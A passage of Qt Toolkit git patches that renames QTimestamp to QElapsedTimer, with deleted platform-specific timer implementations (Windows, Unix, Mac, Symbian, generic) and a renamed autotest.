(qt-info@nokia.com) +** +** This file is part of the QtCore module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qelapsedtimer.h" +#include + +typedef ULONGLONG (WINAPI *PtrGetTickCount64)(void); +static PtrGetTickCount64 ptrGetTickCount64 = 0; + +QT_BEGIN_NAMESPACE + +static void resolveLibs() +{ + static bool done = false; + if (done) + return; + + // try to get GetTickCount64 from the system + HMODULE kernel32 = GetModuleHandleW(L"kernel32"); + if (!kernel32) + return; + +#if defined(Q_OS_WINCE) + // does this function exist on WinCE, or will ever exist? + ptrGetTickCount64 = (PtrGetTickCount64)GetProcAddress(kernel32, L"GetTickCount64"); +#else + ptrGetTickCount64 = (PtrGetTickCount64)GetProcAddress(kernel32, "GetTickCount64"); +#endif + + done = true; +} + +static quint64 getTickCount() +{ + resolveLibs(); + if (ptrGetTickCount64) + return ptrGetTickCount64(); + return GetTickCount(); +} + +static qint64 difference(qint64 a, qint64 b) +{ + qint64 retval = a - b; + // if we're not using GetTickCount64, then there can be 32-bit rollover + // assume there were rollovers if the difference is negative by more than + // 75% of the 32-bit range + + if (!ptrGetTickCount64 && retval < Q_INT64_C(-0xc0000000)) + retval += Q_UINT64_C(0x100000000); + return retval; +} + +bool QElapsedTimer::isMonotonic() +{ + return true; +} + +void QElapsedTimer::start() +{ + t1 = getTickCount(); + t2 = 0; +} + +qint64 QElapsedTimer::restart() +{ + qint64 oldt1 = t1; + t1 = getTickCount(); + return difference(t1, oldt1); +} + +qint64 QElapsedTimer::elapsed() const +{ + return difference(getTickCount(), t1); +} + +qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const +{ + return difference(other.t1, t1); +} + +qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const +{ + return msecsTo(other) / 1000; +} + +bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) +{ + return difference(v1.t1, v2.t1) < 0; +} + +QT_END_NAMESPACE diff --git a/src/corelib/tools/qtimestamp.cpp b/src/corelib/tools/qtimestamp.cpp deleted file mode 100644 index 220b108..0000000 --- a/src/corelib/tools/qtimestamp.cpp +++ /dev/null @@ -1,65 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtCore module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qelapsedtimer.h" - -QT_BEGIN_NAMESPACE - -static const qint64 invalidData = Q_INT64_C(0x8000000000000000); - -void QElapsedTimer::invalidate() -{ - t1 = t2 = invalidData; -} - -bool QElapsedTimer::isValid() const -{ - return t1 != invalidData && t2 != invalidData; -} - -bool QElapsedTimer::hasExpired(qint64 timeout) const -{ - // if timeout is -1, quint64(timeout) is LLINT_MAX, so this will be - // considered as never expired - return quint64(elapsed()) > quint64(timeout); -} - -QT_END_NAMESPACE diff --git a/src/corelib/tools/qtimestamp.h b/src/corelib/tools/qtimestamp.h deleted file mode 100644 index 4fa0ca5..0000000 --- a/src/corelib/tools/qtimestamp.h +++ /dev/null @@ -1,85 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtCore module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QTIMESTAMP_H -#define QTIMESTAMP_H - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -QT_MODULE(Core) - -class Q_CORE_EXPORT QElapsedTimer -{ -public: - static bool isMonotonic(); - - void start(); - qint64 restart(); - void invalidate(); - bool isValid() const; - - qint64 elapsed() const; - bool hasExpired(qint64 timeout) const; - - qint64 msecsTo(const QElapsedTimer &other) const; - qint64 secsTo(const QElapsedTimer &other) const; - - bool operator==(const QElapsedTimer &other) const - { return t1 == other.t1 && t2 == other.t2; } - bool operator!=(const QElapsedTimer &other) const - { return !(*this == other); } - - friend bool Q_CORE_EXPORT operator<(const QElapsedTimer &v1, const QElapsedTimer &v2); - -private: - qint64 t1; - qint64 t2; -}; - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QTIMESTAMP_H diff --git a/src/corelib/tools/qtimestamp_generic.cpp b/src/corelib/tools/qtimestamp_generic.cpp deleted file mode 100644 index a9c2233..0000000 --- a/src/corelib/tools/qtimestamp_generic.cpp +++ /dev/null @@ -1,91 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtCore module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qelapsedtimer.h" -#include "qdatetime.h" - -QT_BEGIN_NAMESPACE - -bool QElapsedTimer::isMonotonic() -{ - return false; -} - -void QElapsedTimer::start() -{ - QTime t = QTime::currentTime(); - t1 = t.mds; - t2 = 0; -} - -qint64 QElapsedTimer::restart() -{ - QTime t = QTime::currentTime(); - qint64 old = t1; - t1 = t.mds; - return t1 - old; -} - -qint64 QElapsedTimer::elapsed() const -{ - QTime t = QTime::currentTime(); - return t.mds - t1; -} - -qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const -{ - qint64 diff = other.t1 - t1; - if (diff < 0) // passed midnight - diff += 86400 * 1000; - return diff; -} - -qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const -{ - return msecsTo(other) / 1000; -} - -bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) -{ - return v1.t1 < v2.t1; -} - -QT_END_NAMESPACE diff --git a/src/corelib/tools/qtimestamp_mac.cpp b/src/corelib/tools/qtimestamp_mac.cpp deleted file mode 100644 index 21a6d1b..0000000 --- a/src/corelib/tools/qtimestamp_mac.cpp +++ /dev/null @@ -1,115 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtCore module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qelapsedtimer.h" -#include -#include - -#include - -QT_BEGIN_NAMESPACE - -bool QElapsedTimer::isMonotonic() -{ - return true; -} - -static mach_timebase_info_data_t info = {0,0}; -static qint64 absoluteToNSecs(qint64 cpuTime) -{ - if (info.denom == 0) - mach_timebase_info(&info); - qint64 nsecs = cpuTime * info.numer / info.denom; - return nsecs; -} - -static qint64 absoluteToMSecs(qint64 cpuTime) -{ - return absoluteToNSecs(cpuTime) / 1000000; -} - -timeval qt_gettime() -{ - timeval tv; - - uint64_t cpu_time = mach_absolute_time(); - uint64_t nsecs = absoluteToNSecs(cpu_time); - tv.tv_sec = nsecs / 1000000000ull; - tv.tv_usec = (nsecs / 1000) - (tv.tv_sec * 1000000); - return tv; -} - -void QElapsedTimer::start() -{ - t1 = mach_absolute_time(); - t2 = 0; -} - -qint64 QElapsedTimer::restart() -{ - qint64 old = t1; - t1 = mach_absolute_time(); - - return absoluteToMSecs(t1 - old); -} - -qint64 QElapsedTimer::elapsed() const -{ - uint64_t cpu_time = mach_absolute_time(); - return absoluteToMSecs(cpu_time - t1); -} - -qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const -{ - return absoluteToMSecs(other.t1 - t1); -} - -qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const -{ - return msecsTo(other) / 1000; -} - -bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) -{ - return v1.t1 < v2.t1; -} - -QT_END_NAMESPACE diff --git a/src/corelib/tools/qtimestamp_symbian.cpp b/src/corelib/tools/qtimestamp_symbian.cpp deleted file mode 100644 index 1fbba65..0000000 --- a/src/corelib/tools/qtimestamp_symbian.cpp +++ /dev/null @@ -1,106 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtCore module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qelapsedtimer.h" -#include - -QT_BEGIN_NAMESPACE - -// return quint64 to avoid sign-extension -static quint64 getMillisecondFromTick() -{ - static TInt nanokernel_tick_period; - if (!nanokernel_tick_period) - HAL::Get(HAL::ENanoTickPeriod, nanokernel_tick_period); - return nanokernel_tick_period * User::NTickCount(); -} - -static qint64 difference(qint64 a, qint64 b) -{ - qint64 retval = a - b; - // there can be 32-bit rollover - // assume there were rollovers if the difference is negative by more than - // 75% of the 32-bit range - - if (retval < Q_INT64_C(-0xc0000000)) - retval += Q_UINT64_C(0x100000000); - return retval; -} - -bool QElapsedTimer::isMonotonic() -{ - return true; -} - -void QElapsedTimer::start() -{ - t1 = getMillisecondFromTick(); - t2 = 0; -} - -qint64 QElapsedTimer::restart() -{ - qint64 oldt1 = t1; - t1 = getMillisecondFromTick(); - return difference(t1, oldt1); -} - -qint64 QElapsedTimer::elapsed() const -{ - return difference(getMillisecondFromTick(), t1); -} - -qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const -{ - return difference(other.t1, t1); -} - -qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const -{ - return msecsTo(other) / 1000; -} - -bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) -{ - return difference(v1.t1, v2.t1) < 0; -} - -QT_END_NAMESPACE diff --git a/src/corelib/tools/qtimestamp_unix.cpp b/src/corelib/tools/qtimestamp_unix.cpp deleted file mode 100644 index b8215f4..0000000 --- a/src/corelib/tools/qtimestamp_unix.cpp +++ /dev/null @@ -1,169 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtCore module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qelapsedtimer.h" -#include "qpair.h" -#include -#include -#include - -#if !defined(QT_NO_CLOCK_MONOTONIC) -# if defined(QT_BOOTSTRAPPED) -# define QT_NO_CLOCK_MONOTONIC -# endif -#endif - -QT_BEGIN_NAMESPACE - -static qint64 fractionAdjustment() -{ - if (QElapsedTimer::isMonotonic()) { - // the monotonic timer is measured in nanoseconds - // 1 ms = 1000000 ns - return 1000*1000ull; - } else { - // gettimeofday is measured in microseconds - // 1 ms = 1000 us - return 1000; - } -} - -bool QElapsedTimer::isMonotonic() -{ -#if (_POSIX_MONOTONIC_CLOCK-0 > 0) - return true; -#else - static int returnValue = 0; - - if (returnValue == 0) { -# if (_POSIX_MONOTONIC_CLOCK-0 < 0) - returnValue = -1; -# elif (_POSIX_MONOTONIC_CLOCK == 0) - // detect if the system support monotonic timers - long x = sysconf(_SC_MONOTONIC_CLOCK); - returnValue = (x >= 200112L) ? 1 : -1; -# endif - } - - return returnValue != -1; -#endif -} - -static inline QPair do_gettime() -{ -#if (_POSIX_MONOTONIC_CLOCK-0 > 0) - timespec ts; - clock_gettime(CLOCK_MONOTONIC, &ts); - return qMakePair(ts.tv_sec, ts.tv_nsec); -#else -# if !defined(QT_NO_CLOCK_MONOTONIC) && !defined(QT_BOOTSTRAPPED) - if (QElapsedTimer::isMonotonic()) { - timespec ts; - clock_gettime(CLOCK_MONOTONIC, &ts); - return qMakePair(ts.tv_sec, ts.tv_nsec); - } -# endif - // use gettimeofday - timeval tv; - ::gettimeofday(&tv, 0); - return qMakePair(tv.tv_sec, tv.tv_usec); -#endif -} - -// used in qcore_unix.cpp and qeventdispatcher_unix.cpp -timeval qt_gettime() -{ - QPair r = do_gettime(); - - timeval tv; - tv.tv_sec = r.first; - tv.tv_usec = r.second; - if (QElapsedTimer::isMonotonic()) - tv.tv_usec /= 1000; - - return tv; -} - -void QElapsedTimer::start() -{ - QPair r = do_gettime(); - t1 = r.first; - t2 = r.second; -} - -qint64 QElapsedTimer::restart() -{ - QPair r = do_gettime(); - qint64 oldt1 = t1; - qint64 oldt2 = t2; - t1 = r.first; - t2 = r.second; - - r.first -= oldt1; - r.second -= oldt2; - return r.first * 1000 + r.second / fractionAdjustment(); -} - -qint64 QElapsedTimer::elapsed() const -{ - QElapsedTimer now; - now.start(); - return msecsTo(now); -} - -qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const -{ - qint64 secs = other.t1 - t1; - qint64 fraction = other.t2 - t2; - return secs * 1000 + fraction / fractionAdjustment(); -} - -qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const -{ - return other.t1 - t1; -} - -bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) -{ - return v1.t1 < v2.t1 || (v1.t1 == v2.t1 && v1.t2 < v2.t2); -} - -QT_END_NAMESPACE diff --git a/src/corelib/tools/qtimestamp_win.cpp b/src/corelib/tools/qtimestamp_win.cpp deleted file mode 100644 index e384dd8..0000000 --- a/src/corelib/tools/qtimestamp_win.cpp +++ /dev/null @@ -1,129 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtCore module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qelapsedtimer.h" -#include - -typedef ULONGLONG (WINAPI *PtrGetTickCount64)(void); -static PtrGetTickCount64 ptrGetTickCount64 = 0; - -QT_BEGIN_NAMESPACE - -static void resolveLibs() -{ - static bool done = false; - if (done) - return; - - // try to get GetTickCount64 from the system - HMODULE kernel32 = GetModuleHandleW(L"kernel32"); - if (!kernel32) - return; - -#if defined(Q_OS_WINCE) - // does this function exist on WinCE, or will ever exist? - ptrGetTickCount64 = (PtrGetTickCount64)GetProcAddress(kernel32, L"GetTickCount64"); -#else - ptrGetTickCount64 = (PtrGetTickCount64)GetProcAddress(kernel32, "GetTickCount64"); -#endif - - done = true; -} - -static quint64 getTickCount() -{ - resolveLibs(); - if (ptrGetTickCount64) - return ptrGetTickCount64(); - return GetTickCount(); -} - -static qint64 difference(qint64 a, qint64 b) -{ - qint64 retval = a - b; - // if we're not using GetTickCount64, then there can be 32-bit rollover - // assume there were rollovers if the difference is negative by more than - // 75% of the 32-bit range - - if (!ptrGetTickCount64 && retval < Q_INT64_C(-0xc0000000)) - retval += Q_UINT64_C(0x100000000); - return retval; -} - -bool QElapsedTimer::isMonotonic() -{ - return true; -} - -void QElapsedTimer::start() -{ - t1 = getTickCount(); - t2 = 0; -} - -qint64 QElapsedTimer::restart() -{ - qint64 oldt1 = t1; - t1 = getTickCount(); - return difference(t1, oldt1); -} - -qint64 QElapsedTimer::elapsed() const -{ - return difference(getTickCount(), t1); -} - -qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const -{ - return difference(other.t1, t1); -} - -qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const -{ - return msecsTo(other) / 1000; -} - -bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) -{ - return difference(v1.t1, v2.t1) < 0; -} - -QT_END_NAMESPACE diff --git a/tests/auto/qelapsedtimer/qelapsedtimer.pro b/tests/auto/qelapsedtimer/qelapsedtimer.pro new file mode 100644 index 0000000..3a06390 --- /dev/null +++ b/tests/auto/qelapsedtimer/qelapsedtimer.pro @@ -0,0 +1,13 @@ +load(qttest_p4) +QT -= gui + +SOURCES += tst_qtimestamp.cpp +wince* { + DEFINES += SRCDIR=\\\"\\\" +} else:symbian { + # do not define SRCDIR at all + TARGET.EPOCHEAPSIZE = 0x100000 0x3000000 +} else { + DEFINES += SRCDIR=\\\"$$PWD/\\\" +} + diff --git a/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp b/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp new file mode 100644 index 0000000..79138ce --- /dev/null +++ b/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp @@ -0,0 +1,94 @@ +#include +#include +#include +#include + +static const int minResolution = 50; // the minimum resolution for the tests + +class tst_QTimestamp : public QObject +{ + Q_OBJECT + +private Q_SLOTS: + void validity(); + void basics(); + void elapsed(); +}; + +void tst_QTimestamp::validity() +{ + QTimestamp t; + + t.invalidate(); + QVERIFY(!t.isValid()); + + t.start(); + QVERIFY(t.isValid()); + + t.invalidate(); + QVERIFY(!t.isValid()); +} + +void tst_QTimestamp::basics() +{ + QTimestamp t1; + t1.start(); + + QCOMPARE(t1, t1); + QVERIFY(!(t1 != t1)); + QVERIFY(!(t1 < t1)); + QCOMPARE(t1.msecsTo(t1), qint64(0)); + QCOMPARE(t1.secsTo(t1), qint64(0)); + QCOMPARE(t1 + 0, t1); + QCOMPARE(t1 - 0, t1); + + QTimestamp t2 = t1; + t2 += 1000; // so we can use secsTo + + QVERIFY(t1 != t2); + QVERIFY(!(t1 == t2)); + QVERIFY(t1 < t2); + QVERIFY(!(t2 < t1)); + QCOMPARE(t1.msecsTo(t2), qint64(1000)); + QCOMPARE(t1.secsTo(t2), qint64(1)); + QCOMPARE(t2 - t1, qint64(1000)); + QCOMPARE(t1 - t2, qint64(-1000)); + + qint64 elapsed = t1.restart(); + QVERIFY(elapsed < minResolution); +} + +void tst_QTimestamp::elapsed() +{ + QTimestamp t1; + t1.start(); + + QTest::qSleep(4*minResolution); + QTimestamp t2; + t2.start(); + + QVERIFY(t1 != t2); + QVERIFY(!(t1 == t2)); + QVERIFY(t1 < t2); + QVERIFY(t1.msecsTo(t2) > 0); + // don't check: t1.secsTo(t2) + QVERIFY(t1 - t2 < 0); + + QVERIFY(t1.elapsed() > 0); + QVERIFY(t1.hasExpired(minResolution)); + QVERIFY(!t1.hasExpired(8*minResolution)); + QVERIFY(!t2.hasExpired(minResolution)); + + QVERIFY(!t1.hasExpired(-1)); + QVERIFY(!t2.hasExpired(-1)); + + qint64 elapsed = t1.restart(); + QVERIFY(elapsed > 3*minResolution); + QVERIFY(elapsed < 5*minResolution); + qint64 diff = t1 - t2; + QVERIFY(diff < minResolution); +} + +QTEST_MAIN(tst_QTimestamp); + +#include "tst_qtimestamp.moc" diff --git a/tests/auto/qtimestamp/qtimestamp.pro b/tests/auto/qtimestamp/qtimestamp.pro deleted file mode 100644 index 3a06390..0000000 --- a/tests/auto/qtimestamp/qtimestamp.pro +++ /dev/null @@ -1,13 +0,0 @@ -load(qttest_p4) -QT -= gui - -SOURCES += tst_qtimestamp.cpp -wince* { - DEFINES += SRCDIR=\\\"\\\" -} else:symbian { - # do not define SRCDIR at all - TARGET.EPOCHEAPSIZE = 0x100000 0x3000000 -} else { - DEFINES += SRCDIR=\\\"$$PWD/\\\" -} - diff --git a/tests/auto/qtimestamp/tst_qtimestamp.cpp b/tests/auto/qtimestamp/tst_qtimestamp.cpp deleted file mode 100644 index 79138ce..0000000 --- a/tests/auto/qtimestamp/tst_qtimestamp.cpp +++ /dev/null @@ -1,94 +0,0 @@ -#include -#include -#include -#include - -static const int minResolution = 50; // the minimum resolution for the tests - -class tst_QTimestamp : public QObject -{ - Q_OBJECT - -private Q_SLOTS: - void validity(); - void basics(); - void elapsed(); -}; - -void tst_QTimestamp::validity() -{ - QTimestamp t; - - t.invalidate(); - QVERIFY(!t.isValid()); - - t.start(); - QVERIFY(t.isValid()); - - t.invalidate(); - QVERIFY(!t.isValid()); -} - -void tst_QTimestamp::basics() -{ - QTimestamp t1; - t1.start(); - - QCOMPARE(t1, t1); - QVERIFY(!(t1 != t1)); - QVERIFY(!(t1 < t1)); - QCOMPARE(t1.msecsTo(t1), qint64(0)); - QCOMPARE(t1.secsTo(t1), qint64(0)); - QCOMPARE(t1 + 0, t1); - QCOMPARE(t1 - 0, t1); - - QTimestamp t2 = t1; - t2 += 1000; // so we can use secsTo - - QVERIFY(t1 != t2); - QVERIFY(!(t1 == t2)); - QVERIFY(t1 < t2); - QVERIFY(!(t2 < t1)); - QCOMPARE(t1.msecsTo(t2), qint64(1000)); - QCOMPARE(t1.secsTo(t2), qint64(1)); - QCOMPARE(t2 - t1, qint64(1000)); - QCOMPARE(t1 - t2, qint64(-1000)); - - qint64 elapsed = t1.restart(); - QVERIFY(elapsed < minResolution); -} - -void tst_QTimestamp::elapsed() -{ - QTimestamp t1; - t1.start(); - - QTest::qSleep(4*minResolution); - QTimestamp t2; - t2.start(); - - QVERIFY(t1 != t2); - QVERIFY(!(t1 == t2)); - QVERIFY(t1 < t2); - QVERIFY(t1.msecsTo(t2) > 0); - // don't check: t1.secsTo(t2) - QVERIFY(t1 - t2 < 0); - - QVERIFY(t1.elapsed() > 0); - QVERIFY(t1.hasExpired(minResolution)); - QVERIFY(!t1.hasExpired(8*minResolution)); - QVERIFY(!t2.hasExpired(minResolution)); - - QVERIFY(!t1.hasExpired(-1)); - QVERIFY(!t2.hasExpired(-1)); - - qint64 elapsed = t1.restart(); - QVERIFY(elapsed > 3*minResolution); - QVERIFY(elapsed < 5*minResolution); - qint64 diff = t1 - t2; - QVERIFY(diff < minResolution); -} - -QTEST_MAIN(tst_QTimestamp); - -#include "tst_qtimestamp.moc" -- cgit v0.12 From bc88d38905a80b2a025acf5b52858264c0ef0d39 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 26 Feb 2010 15:10:19 +0100 Subject: Autotest: Rename the test to match the new class name --- tests/auto/qelapsedtimer/qelapsedtimer.pro | 2 +- tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp | 24 ++++++++++++------------ 2 files changed, 13 insertions(+), 13 deletions(-) diff --git a/tests/auto/qelapsedtimer/qelapsedtimer.pro b/tests/auto/qelapsedtimer/qelapsedtimer.pro index 3a06390..ed75228 100644 --- a/tests/auto/qelapsedtimer/qelapsedtimer.pro +++ b/tests/auto/qelapsedtimer/qelapsedtimer.pro @@ -1,7 +1,7 @@ load(qttest_p4) QT -= gui -SOURCES += tst_qtimestamp.cpp +SOURCES += tst_qelapsedtimer.cpp wince* { DEFINES += SRCDIR=\\\"\\\" } else:symbian { diff --git a/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp b/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp index 79138ce..d671d1b 100644 --- a/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp +++ b/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp @@ -1,11 +1,11 @@ #include #include -#include +#include #include static const int minResolution = 50; // the minimum resolution for the tests -class tst_QTimestamp : public QObject +class tst_QElapsedTimer : public QObject { Q_OBJECT @@ -15,9 +15,9 @@ private Q_SLOTS: void elapsed(); }; -void tst_QTimestamp::validity() +void tst_QElapsedTimer::validity() { - QTimestamp t; + QElapsedTimer t; t.invalidate(); QVERIFY(!t.isValid()); @@ -29,9 +29,9 @@ void tst_QTimestamp::validity() QVERIFY(!t.isValid()); } -void tst_QTimestamp::basics() +void tst_QElapsedTimer::basics() { - QTimestamp t1; + QElapsedTimer t1; t1.start(); QCOMPARE(t1, t1); @@ -42,7 +42,7 @@ void tst_QTimestamp::basics() QCOMPARE(t1 + 0, t1); QCOMPARE(t1 - 0, t1); - QTimestamp t2 = t1; + QElapsedTimer t2 = t1; t2 += 1000; // so we can use secsTo QVERIFY(t1 != t2); @@ -58,13 +58,13 @@ void tst_QTimestamp::basics() QVERIFY(elapsed < 